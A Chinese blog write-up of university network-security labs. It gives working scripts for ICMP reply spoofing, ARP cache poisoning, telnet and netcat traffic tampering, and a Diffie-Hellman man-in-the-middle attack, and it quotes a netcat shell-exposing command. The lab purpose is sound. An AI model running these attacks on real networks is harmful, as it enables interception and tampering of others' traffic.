抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

网络攻防实践(二)第7、8次实验

攻防实践毁我青春

经历了前几次极其无聊的攻防实践尤其是垃圾渗透测试,终于到了这次算是我较为感兴趣的攻防实践——嗅探与伪造/ARP缓存中毒。碰巧这几天重构了自己的博客,顺手写进博客

一、嗅探与伪造

1.1 scapy路由追踪

目的是scapy实现路由追踪。实际上,有关路由追踪的常见方式有两种:

  • linux/BSD/router/UNIX下的traceroute。向目的地址的某个端口(大于30000)发送UDP数据报。
  • windows下的tracert。向目的地址发送icmp回显请求数据报。

当然本质上都是设置ttl=1发包,然后逐次增加ttl。通过接受到的icmp超时报文,获取路径上节点的ip地址。

指导书要求使用icmp回显请求数据报

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import argparse
from scapy.all import *

# MAX_TTL = 64
MAX_TTL = 32

def ping_once(dst, ttl):
pkt = IP(dst=dst, ttl=ttl) / ICMP(type=8)
trace_reply = sr1(pkt, retry = 1, timeout = 7)
if trace_reply is None:
return "请求超时"
return trace_reply['IP'].src

def tracert(dst):
res = ''
for ttl in range(1, MAX_TTL + 1):
src = ping_once(dst, ttl)
ans = "{}: {:^20}".format(ttl, src)
print(ans)
res += ans + '\n'
if src == dst:
break
return res

if __name__ == '__main__':
parser = argparse.ArgumentParser(description="traceroute")
parser.add_argument("dst", help="destination ip")
args = parser.parse_args()
print(tracert(args.dst))

可能有某些节点禁ping,或者是什么其他安全措施,导致请求超时,这是正常的。即使使用Windows自带的tracert也会出现这种情况

1.2 伪造icmp响应报文

目的是对嗅探的任意icmp请求报文做出回应,即使目标不是自己。这样,如果网络正常,目标主机在ping命令时,每发出一个icmp echo request,将收到两个icmp echo reply。

直接上代码吧(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <pcap.h> 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include "myheader.h"


void reply_icmp_pkt(struct ipheader *ip, struct icmpheader *icmp);
unsigned short in_cksum(unsigned short *buf,int length);
void send_raw_ip_packet(struct ipheader* ip);


void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
struct ethheader *eth=(struct ethheader *)packet;

if(ntohs(eth->ether_type) == 0x800)
{
struct ipheader *ip = (struct ipheader *)(packet + sizeof(struct ethheader));
if (ip->iph_protocol == IPPROTO_ICMP) {
printf("Got an ICMP packet\n");
printf(" From: %s\n",inet_ntoa(ip->iph_sourceip));
printf(" To: %s\n",inet_ntoa(ip->iph_destip));
struct icmpheader *icmp = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader));
if (icmp->icmp_type == 8) {
reply_icmp_pkt(ip, icmp);
}
}
}
}

int main()
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = "ip proto icmp";
bpf_u_int32 net;

// Step 1: Open live pcap session on NIC with interface name
handle = pcap_open_live("docker0", BUFSIZ, 1, 1000, errbuf);

// Step 2: Compile filter_exp into BPF psuedo-code
pcap_compile(handle, &fp, filter_exp, 0, net);
pcap_setfilter(handle, &fp);

// Step 3: Capture packets
pcap_loop(handle, -1, got_packet, NULL);

pcap_close(handle); //Close the handle
return 0;
}

void reply_icmp_pkt(struct ipheader *ip, struct icmpheader *icmp) {
char buffer[PACKET_LEN];
memset(buffer, 0, PACKET_LEN);

struct icmpheader *reply_icmp;
reply_icmp = (struct icmpheader *)(buffer + sizeof(struct ipheader));
struct ipheader *reply_ip;
reply_ip = (struct ipheader *) buffer;
int icmp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);
memcpy(reply_icmp, icmp, icmp_len);

reply_icmp->icmp_type = 0;
reply_icmp->icmp_chksum = 0;
void *temp = reply_icmp;
reply_icmp->icmp_chksum = in_cksum(temp, icmp_len);
reply_ip->iph_ver = 4;
reply_ip->iph_ihl = 5;
reply_ip->iph_tos = 16;
reply_ip->iph_ident = htons(54321);
reply_ip->iph_ttl = 64;
reply_ip->iph_sourceip.s_addr = ip->iph_destip.s_addr;
reply_ip->iph_destip.s_addr = ip->iph_sourceip.s_addr;
reply_ip->iph_protocol = IPPROTO_ICMP; // The value is 1, representing ICMP.
reply_ip->iph_len = htons(sizeof(struct ipheader) + icmp_len);

send_raw_ip_packet(reply_ip);
return;
}

unsigned short in_cksum(unsigned short *buf,int length)
{
unsigned short *w = buf;
int nleft = length;
int sum = 0;
unsigned short temp=0;

/*
* The algorithm uses a 32 bit accumulator (sum), adds
* sequential 16 bit words to it, and at the end, folds back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

/* treat the odd byte at the end, if any */
if (nleft == 1) {
*(u_char *)(&temp) = *(u_char *)w ;
sum += temp;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16
sum += (sum >> 16); // add carry
return (unsigned short)(~sum);
}

/*******************************************************************************
Given an IP packet, send it out using raw socket.
*******************************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
struct sockaddr_in dest_info;
int enable = 1;

// Create a raw network socket, and set its options.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));

// Provide needed information about destination.
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;

// Send the packet out.
printf("Sending spoofed IP packet...\n");
if(sendto(sock,ip,ntohs(ip->iph_len),0,(struct sockaddr *)&dest_info,sizeof(dest_info)) < 0)
{
perror("PACKET NOT SENT\n");
return;
}
else {
printf("\n---------------------------------------------------\n");
printf(" From: %s\n",inet_ntoa(ip->iph_sourceip));
printf(" To: %s\n",inet_ntoa(ip->iph_destip));
printf("\n---------------------------------------------------\n");
}
close(sock);
}

需要头文件:

头文件myheader.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

/* ethernet headers are always exactly 14 bytes [1] */
#define SIZE_ETHERNET 14

/* Ethernet addresses are 6 bytes */
#define ETHER_ADDR_LEN 6

#define PACKET_LEN 1500


/* Ethernet header */
struct ethheader {
u_char ether_dhost[ETHER_ADDR_LEN]; /* destination host address */
u_char ether_shost[ETHER_ADDR_LEN]; /* source host address */
u_short ether_type; /* IP? ARP? RARP? etc */
};


/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, iph_ver:4; //IP Header length & Version.
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (Both data and header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, iph_offset:13; //Flags and Fragmentation offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Type of the upper-level protocol
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //IP Source address (In network byte order)
struct in_addr iph_destip;//IP Destination address (In network byte order)
};

/* ICMP Header */
struct icmpheader {
unsigned char icmp_type; //ICMP message type
unsigned char icmp_code; //Error code
unsigned short int icmp_chksum; //Checksum for ICMP Header and data
unsigned short int icmp_id; //Used in echo request/reply to identify request
unsigned short int icmp_seq;//Identifies the sequence of echo messages,
//if more than one is sent.
};


/* TCP Header */
struct tcpheader {
u_short tcp_sport; /* source port */
u_short tcp_dport; /* destination port */
u_int tcp_seq; /* sequence number */
u_int tcp_ack; /* acknowledgement number */
u_char tcp_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short tcp_win; /* window */
u_short tcp_sum; /* checksum */
u_short tcp_urp; /* urgent pointer */
};


/* UDP Header */
struct udpheader
{
u_int16_t udp_sport; /* source port */
u_int16_t udp_dport; /* destination port */
u_int16_t udp_ulen; /* udp length */
u_int16_t udp_sum; /* udp checksum */
};

struct pseudo_tcp
{
unsigned saddr, daddr;
unsigned char mbz;
unsigned char ptcl;
unsigned short tcpl;
struct tcpheader tcp;
char payload[PACKET_LEN];
};

// DNS layer header's structure
struct dnsheader {
unsigned short int query_id;
unsigned short int flags;
unsigned short int QDCOUNT;
unsigned short int ANCOUNT;
unsigned short int NSCOUNT;
unsigned short int ARCOUNT;
};

二、ARP缓存中毒

写到心态爆炸

2.1 略

2.2 中间人攻击

作为中间人持续给A和B发送ARP请求数据包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from scapy.all import *
from time import *


# Machine A's informaton
IP_A = "192.168.60.2"
MAC_A = "02:42:c0:a8:3c:02"

# Machine B's informaton
IP_B = "192.168.60.1"
MAC_B = "02:42:f3:a7:10:f7"

# Attacker Machine's informaton
IP_M = "192.168.60.3"
MAC_M = "02:42:c0:a8:3c:03"

print("SENDING SPOOFED ARP REPLY.........")

# Construct spoofed ARP sent to machine A
ether1 = Ether()
ether1.dst = MAC_A
arp1 = ARP()
arp1.psrc = IP_B
arp1.hwsrc = MAC_M
arp1.pdst = IP_A
arp1.op = 1
frame1 = ether1/arp1


# Construct spoofed ARP sent to machine B
ether2 = Ether()
ether2.dst = MAC_B
arp2 = ARP()
arp2.psrc = IP_A
arp2.hwsrc = MAC_M
arp2.pdst = IP_B
arp2.op = 1
frame2 = ether2/arp2


while 1:
sendp(frame1)
sendp(frame2)
sleep(5)

2.3 修改telnet响应报文

折磨我了几个小时,怎么改脚本都有问题。最后参考了ssj dl写的脚本,感觉也没啥太大不一样的。然后发现……..

{note, info red, 垃圾seedUbuntu虚拟机,重新启动之后会docker2网卡的MAC地址会发生变化,导致脚本出大问题!!!!}

最终的脚本如下:

修改telnet响应报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import re
from scapy.all import *

# Machine A's informaton
IP_A = "192.168.60.2"
MAC_A = "02:42:c0:a8:3c:02"

# Machine B's informaton
# treat Gateway as Machine B
IP_B = "192.168.60.1"
MAC_B = "02:42:25:83:40:3f"

# Server2's information
IP_Server2 = "10.0.2.7"
MAC_Server2 = "02:42:0a:00:02:07"

# Attacker Machine's informaton
IP_M = "192.168.60.3"
MAC_M = "02:42:c0:a8:3c:03"

def spoof_pkt(pkt):
if pkt.haslayer(IP):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_Server2:
pkt.src = MAC_M
pkt.dst = MAC_B
del pkt[IP].chksum
del pkt[TCP].chksum
sendp(pkt)
elif pkt[IP].src == IP_Server2 and pkt[IP].dst == IP_A:
pkt.src = MAC_M
pkt.dst = MAC_A
del pkt[IP].chksum
del pkt[TCP].chksum
data = pkt[TCP].payload.load
newdata = re.sub(r'[0-9a-zA-Z]', r'Z', data.decode())
newdata = newdata.encode()
print("\tdata:{}\n\tnewdata:{}".format(data.decode(), newdata.decode()))
newpkt = pkt
del(newpkt[TCP].payload)
sendp(newpkt/newdata)

f = 'tcp and (ether src {} or ether src {})'.format(MAC_A, MAC_B)
pkt = sniff(filter=f, prn=spoof_pkt)

贴一张截图:

如果修改请求报文

实际上也可以修改请求报文。只不过,修改请求报文的结果是:输入任何都会回显Z,因为实际的输入被改为了Z,回车就会看到command not found

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import re
from scapy.all import *

# Machine A's informaton
IP_A = "192.168.60.2"
MAC_A = "02:42:c0:a8:3c:02"

# Machine B's informaton
# treat Gateway as Machine B
IP_B = "192.168.60.1"
MAC_B = "02:42:25:83:40:3f"

# Server2's information
IP_Server2 = "10.0.2.7"
MAC_Server2 = "02:42:0a:00:02:07"

# Attacker Machine's informaton
IP_M = "192.168.60.3"
MAC_M = "02:42:c0:a8:3c:03"

def spoof_pkt(pkt):
if pkt.haslayer(IP):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_Server2:
pkt.src = MAC_M
pkt.dst = MAC_B
del pkt[IP].chksum
del pkt[TCP].chksum
if pkt.haslayer(TCP) and pkt[TCP].payload:
data = pkt[TCP].payload.load
newdata = re.sub(r'[0-9a-zA-Z]', r'Z', data.decode())
newdata = newdata.encode()
print("\tdata:{}\n\tnewdata:{}".format(data.decode(), newdata.decode()))
newpkt = pkt
del(newpkt[TCP].payload)
sendp(newpkt/newdata)
else:
sendp(pkt)
elif pkt[IP].src == IP_Server2 and pkt[IP].dst == IP_A:
pkt.src = MAC_M
pkt.dst = MAC_A
del pkt[IP].chksum
del pkt[TCP].chksum
sendp(pkt)

f = 'tcp and (ether src {} or ether src {})'.format(MAC_A, MAC_B)
pkt = sniff(filter=f, prn=spoof_pkt)

2.4 修改netcat报文

先copy一下nc手册的关于远程命令执行的一段话:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
There is no -c or -e option in this netcat, but you still can execute a
command after connection being established by redirecting file descrip-
tors. Be cautious here because opening a port and let anyone connected
execute arbitrary command on your site is DANGEROUS. If you really need
to do this, here is an example:

On 'server' side:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

On 'client' side:

$ nc host.example.com 1234
$ (shell prompt from host.example.com)

By doing this, you create a fifo at /tmp/f and make nc listen at port
1234 of address 127.0.0.1 on 'server' side, when a 'client' establishes a
connection successfully to that port, /bin/sh gets executed on 'server'
side and the shell prompt is given to 'client' side.

按照手册运行nc。

nc脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import re
from scapy.all import *

# Machine A's informaton
IP_A = "192.168.60.2"
MAC_A = "02:42:c0:a8:3c:02"

# Machine B's informaton
# treat Gateway as Machine B
IP_B = "192.168.60.1"
MAC_B = "02:42:25:83:40:3f"

# Server2's information
IP_Server2 = "10.0.2.7"
MAC_Server2 = "02:42:0a:00:02:07"

# Attacker Machine's informaton
IP_M = "192.168.60.3"
MAC_M = "02:42:c0:a8:3c:03"

def spoof_pkt(pkt):
if pkt.haslayer(IP):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_Server2:
pkt.src = MAC_M
pkt.dst = MAC_B
del pkt[IP].chksum
del pkt[TCP].chksum
if pkt.haslayer(TCP) and pkt[TCP].payload:
data = pkt[TCP].payload.load
newdata = 'U2019xxxxx_name\x0a'
newdata = newdata.encode()
print("\tdata:{}\n\tnewdata:{}".format(data.decode(), newdata.decode()))
# length = pkt[IP].len - len(data) + len(newdata)
newpkt = pkt
del(newpkt[IP].len)
del(newpkt[TCP].payload)
sendp(newpkt/newdata)
else:
sendp(pkt)
elif pkt[IP].src == IP_Server2 and pkt[IP].dst == IP_A:
pkt.src = MAC_M
pkt.dst = MAC_A
del pkt[IP].chksum
del pkt[TCP].chksum
sendp(pkt)

f = 'tcp and (ether src {} or ether src {})'.format(MAC_A, MAC_B)
pkt = sniff(filter=f, prn=spoof_pkt)

但是修改报文只能在修改前后长度相同的情况下才能成功。原因希腊奶。

三、DH密钥交换中间人攻击

这是第十次攻防实践的内容,但也是中间人攻击

然而我感觉好复杂啊

本次实验不建议参考本博客。因为seedubuntu太拉垮,装高版本python3和pycryptodome时会出现各种问题。很难跑通。

3.1 简单设计协议

关于DH密钥交换可以参考密钥交换算法-廖雪峰的官方网站

就整了个极其拉垮的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
            DH handshake request
+--------------------+----------+----------+
| magic('DH') | ver | type |
+-------------------------------+----------+
| len-p |
+--------------------+---------------------+
| p |
| |
+------------------------------------------+
| g |
| |
+------------------------------------------+
| A |
| |
+------------------------------------------+
其中p、g、A为可变长度,长度为len-p


DH handshake reply
+--------------------+----------+----------+
| magic(DH) | ver | type |
+-------------------------------+----------+
| len-B |
+--------------------+---------------------+
| B |
| |
+------------------------------------------+
其中B为可变长度,长度为len-B


DH send data
+--------------------+----------+----------+
| magic(DH) | ver | type |
+-------------------------------+----------+
| data |
| |
+------------------------------------------+
其中data为可变长度

type字段:
'\x01': HANDSHAKE_REQUEST
'\x02': HANDSHAKE_REPLY
'\x03': SEND_DATA

3.2 client 与 server 代码

关于数学方面的代码完全从 yydslz 那里copy过来的

DH_key.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import random
import time

BLOCK_SIZE = 16

def power(x, y, p):
res = 1

x = x % p
while (y > 0):

if (y & 1):
res = (res * x) % p

y = y>>1
x = (x * x) % p

return res

def miillerTest(d, n):

a = 2 + random.randint(1, n - 4)

x = power(a, d, n)

if (x == 1 or x == n - 1):
return True

while (d != n - 1):
x = (x * x) % n
d *= 2

if (x == 1):
return False
if (x == n - 1):
return True

return False

def isPrime(n, k):
if (n <= 1 or n == 4):
return False
if (n <= 3):
return True

d = n - 1
while (d % 2 == 0):
d //= 2

for i in range(k):
if (miillerTest(d, n) == False):
return False

return True

def EX_GCD(a, b, arr):
if b == 0:
arr[0] = 1
arr[1] = 0
return a
g = EX_GCD(b, a % b, arr)
t = arr[0]
arr[0] = arr[1]
arr[1] = t - int(a // b) * arr[1]
return g

def inverse_mod(a, n):
arr = [0,1,]
gcd = EX_GCD(a,n,arr)
if gcd == 1:
return (arr[0] % n + n) % n
else:
return -1

def genNbitsPrime(n):
index = n
num = 0
for i in range(index):
num = num * 2 + random.randint(0, 1)
while num%2 == 0 or isPrime(num, 10) == False:
num = num + 1
return num

def Primitiveroot(p):
k=(p-1) // 2
for i in range(2, p-1):
if pow(i, k, p)!=1:
return i
DH.py (协议相关代码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
from enum import Enum
import socket
import struct

from Crypto.Cipher import AES
from Crypto.Util.number import *

import DH_key

MAGIC = b'DH'
VERSION = b'\x01'
DEFAULT_BUFFER_SIZE = 1024
DEFAULT_KEY_BIT_LENGTH = 8*16

class DHType(Enum):
HANDSHAKE_REQUEST = b'\x01'
HANDSHAKE_REPLY = b'\x02'
SEND_DATA = b'\x03'

class DHProto:
def AES_encrypt(self, message, key):
key = long_to_bytes(key)
obj = AES.new(key, AES.MODE_ECB)
message = message.ljust(16, b'\x00')
ciphertext = obj.encrypt(message)
return ciphertext

def AES_decrypt(self, ciper, key):
key = long_to_bytes(key)
obj = AES.new(key, AES.MODE_ECB)
message = obj.decrypt(ciper)
return message.rstrip(b'\x00')

def pack_data(self, message, key):
DH_type = DHType.SEND_DATA.value
header = struct.pack('>2sss', MAGIC, VERSION, DH_type)
data = self.AES_encrypt(message, key)
return header + data
def unpack_data(self, data, key):
magic, ver, DH_type = struct.unpack('>2sss', data[:4])
if magic != MAGIC or ver != VERSION or DH_type != DHType.SEND_DATA.value:
return b''
message = self.AES_decrypt(data[4:], key)
return message

def is_send_data(self, pkt_data):
if len(pkt_data) > 4 and pkt_data[:2] == MAGIC and pkt_data[2:3] == VERSION and pkt_data[3:4] == DHType.SEND_DATA.value:
return True
return False

def is_handshake_request(self, pkt_data):
if len(pkt_data) > 4 and pkt_data[:2] == MAGIC and pkt_data[2:3] == VERSION and pkt_data[3:4] == DHType.HANDSHAKE_REQUEST.value:
return True
return False

def is_handshake_reply(self, pkt_data):
if len(pkt_data) > 4 and pkt_data[:2] == MAGIC and pkt_data[2:3] == VERSION and pkt_data[3:4] == DHType.HANDSHAKE_REPLY.value:
return True
return False

def has_key(self):
return hasattr(self, "key")

class DHClient(DHProto):
def __init__(self, target_ip_addr=None, target_port=None, buffer_size=DEFAULT_BUFFER_SIZE):
self.ip_addr = target_ip_addr
self.port = target_port
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._buffer_size = buffer_size

def set_target(self, target_ip_addr, target_port):
self.ip_addr = target_ip_addr
self.port = target_port

def _gen_handshake_request(self, key_bit_len=DEFAULT_KEY_BIT_LENGTH):
DH_type = DHType.HANDSHAKE_REQUEST.value
self._p = DH_key.genNbitsPrime(key_bit_len)
self._g = DH_key.Primitiveroot(self._p)
self._privite_key = DH_key.genNbitsPrime(key_bit_len)
self._A = pow(self._g, self._privite_key, self._p)
key_len = (key_bit_len + 7) // 8
p = self._p.to_bytes(key_len, byteorder='big')
g = self._g.to_bytes(key_len, byteorder='big')
A = self._A.to_bytes(key_len, byteorder='big')
header = struct.pack('>2sssI', MAGIC, VERSION, DH_type, key_len)
return header + p + g + A

def _handle_handshake_reply(self, pkt_data):
magic, ver, DH_type, key_len = struct.unpack('>2sssI', pkt_data[:8])
if magic != MAGIC or ver != VERSION or DH_type != DHType.HANDSHAKE_REPLY.value:
return
B = int.from_bytes(pkt_data[8:], byteorder='big')
self.key = pow(B, self._privite_key, self._p)
print("Client key: " + str(self.key))

def hand_shake(self):
data = self._gen_handshake_request()
self._socket.sendto(data, (self.ip_addr, self.port))
data, addr = self._socket.recvfrom(self._buffer_size)
self._handle_handshake_reply(data)

def send(self, message):
pkt_data = self.pack_data(message.encode('utf8'), self.key)
self._socket.sendto(pkt_data, (self.ip_addr, self.port))
return

def recv(self):
pkt_data, addr = self._socket.recvfrom(self._buffer_size)
if not self.is_send_data(pkt_data):
return ''
message = self.unpack_data(pkt_data, self.key).decode('utf8')
return message

class DHServer(DHProto):
def __init__(self, ip_addr="127.0.0.1", port=8000, buffer_size=DEFAULT_BUFFER_SIZE):
self.ip_addr = ip_addr
self.port = port
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._socket.bind((ip_addr, port))
self._buffer_size = buffer_size

def _handle_handshake_request(self, pkt_data):
magic, ver, DH_type, key_len = struct.unpack('>2sssI', pkt_data[:8])
if magic != MAGIC or ver != VERSION or DH_type != DHType.HANDSHAKE_REQUEST.value:
return
p, g, A = [int.from_bytes(pkt_data[8 + key_len * i: 8 + key_len * (i + 1)], byteorder='big') for i in range(3)]
self._p = p
self._g = g
self._A = A
self._privite_key = DH_key.genNbitsPrime(key_len)
self.key = pow(A, self._privite_key, p)
self._B = pow(g, self._privite_key, p)
print("Server key: " + str(self.key))
return

def _gen_handshake_reply(self):
DH_type = DHType.HANDSHAKE_REPLY.value
if not hasattr(self, "_B"):
return b''
key_bit_len = self._B.bit_length()
key_len = (key_bit_len + 7) // 8
B = self._B.to_bytes(key_len, byteorder='big')
header = struct.pack('>2sssI', MAGIC, VERSION, DH_type, key_len)
return header + B

def hand_shake(self, data, addr):
if not self.is_handshake_request(data):
return False
self._handle_handshake_request(data)
data = self._gen_handshake_reply()
self._socket.sendto(data, addr)
return True

def send(self, message, addr):
pkt_data = self.pack_data(message.encode('utf8'), self.key)
self._socket.sendto(pkt_data, addr)
return

def recv(self):
pkt_data, addr = self._socket.recvfrom(self._buffer_size)
if not self.is_send_data(pkt_data):
return ''
message = self.unpack_data(pkt_data, self.key).decode('utf8')
return message, addr

def recv_data(self, message):
pkt_data, addr = self._socket.recvfrom(self._buffer_size)
print(pkt_data, addr)
recv_message = self.unpack_data(pkt_data, self.key).decode('utf8')
print(recv_message, addr)
pkt_data = self.pack_data(message.encode('utf8'), self.key)
self._socket.sendto(pkt_data, addr)

def run(self):
data, addr = self._socket.recvfrom(self._buffer_size)
if self.hand_shake(data, addr):
while True:
m, addr2 = self.recv()
print(m)
if m == '' or addr2 != addr:
break
self.send('U201911711', addr)

server.py
1
2
3
4
from DH import DHServer

server = DHServer()
server.run()
client.py
1
2
3
4
5
6
7
from DH import DHClient

client = DHClient("127.0.0.1", 8000)
client.hand_shake()
client.send('test')
m = client.recv()
print(m)

3.3 中间人攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from time import sleep

from scapy.all import *

from DH import DHServer, DHClient

# Machine A's informaton
IP_A = "192.168.25.130"
MAC_A = "00:0c:29:29:08:c5"

# Machine B's informaton
# treat Gateway as Machine B
IP_B = "192.168.25.51"
MAC_B = "00:0c:29:61:8e:be"

# Server2's information
IP_Server2 = "192.168.25.51"
MAC_Server2 = "00:0c:29:61:8e:be"

# Attacker Machine's informaton
IP_M = "192.168.25.128"
MAC_M = "00:0c:29:47:b2:ee"

def spoof_pkt(pkt):
global lserver
global lclient
if pkt.haslayer(IP):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_Server2 and hasattr(pkt[UDP], "payload"):
newpkt = pkt
del newpkt[IP].chksum
del newpkt[UDP].chksum
data = newpkt[UDP].payload.load
if lserver.is_handshake_request(data):
newpkt2 = newpkt
newpkt2.src = MAC_M
newpkt2.dst = MAC_Server2
del newpkt2[UDP].payload
data_to_server = lclient._gen_handshake_request()
newpkt2 = newpkt2 / data_to_server
sendp(newpkt2)
print("send handshake request to server")

lserver._handle_handshake_request(data)
data_to_A = lserver._gen_handshake_reply()
newpkt.src = MAC_M
newpkt.dst = MAC_A
newpkt[IP].src = IP_Server2
newpkt[IP].dst = IP_A
newpkt[UDP].sport, newpkt[UDP].dport = newpkt[UDP].dport, newpkt[UDP].sport
del newpkt[UDP].payload
del newpkt[IP].len
del newpkt[UDP].len
newpkt = newpkt / data_to_A
sendp(newpkt)
print("receive handshake request from A and reply")

elif lserver.is_send_data(data) and lserver.has_key():
msg = lserver.unpack_data(data, lserver.key)
print("mag: ", msg)
for i in range(10):
if lclient.has_key():
break
sleep(0.1)
if not lclient.has_key():
print("local client doesn't have secret key?")
return
pkt_data = lclient.pack_data(msg, lclient.key)
newpkt.src = MAC_M
newpkt.dst = MAC_Server2
del newpkt[UDP].payload
newpkt = newpkt / pkt_data
sendp(newpkt)
print("send data to server")

elif pkt[IP].src == IP_Server2 and pkt[IP].dst == IP_A and hasattr(pkt[UDP], "payload"):
newpkt = pkt
del newpkt[IP].chksum
del newpkt[UDP].chksum
data = newpkt[UDP].payload.load
if lclient.is_handshake_reply(data):
lclient._handle_handshake_reply(data)
print("local client gets secret key")
elif lclient.is_send_data(data):
newpkt.src = MAC_M
newpkt.dst = MAC_A
msg = lclient.unpack_data(data, lclient.key)
print("mag: ", msg)
pkt_data = lserver.pack_data(msg, lserver.key)
del newpkt[UDP].payload
newpkt = newpkt / pkt_data
sendp(newpkt)
print("reply data")

if __name__ == '__main__':
lserver = DHServer()
lclient = DHClient()
f = 'udp and (ether src {} or ether src {} )'.format(MAC_A, MAC_B)
pkt = sniff(filter=f, prn=spoof_pkt)

评论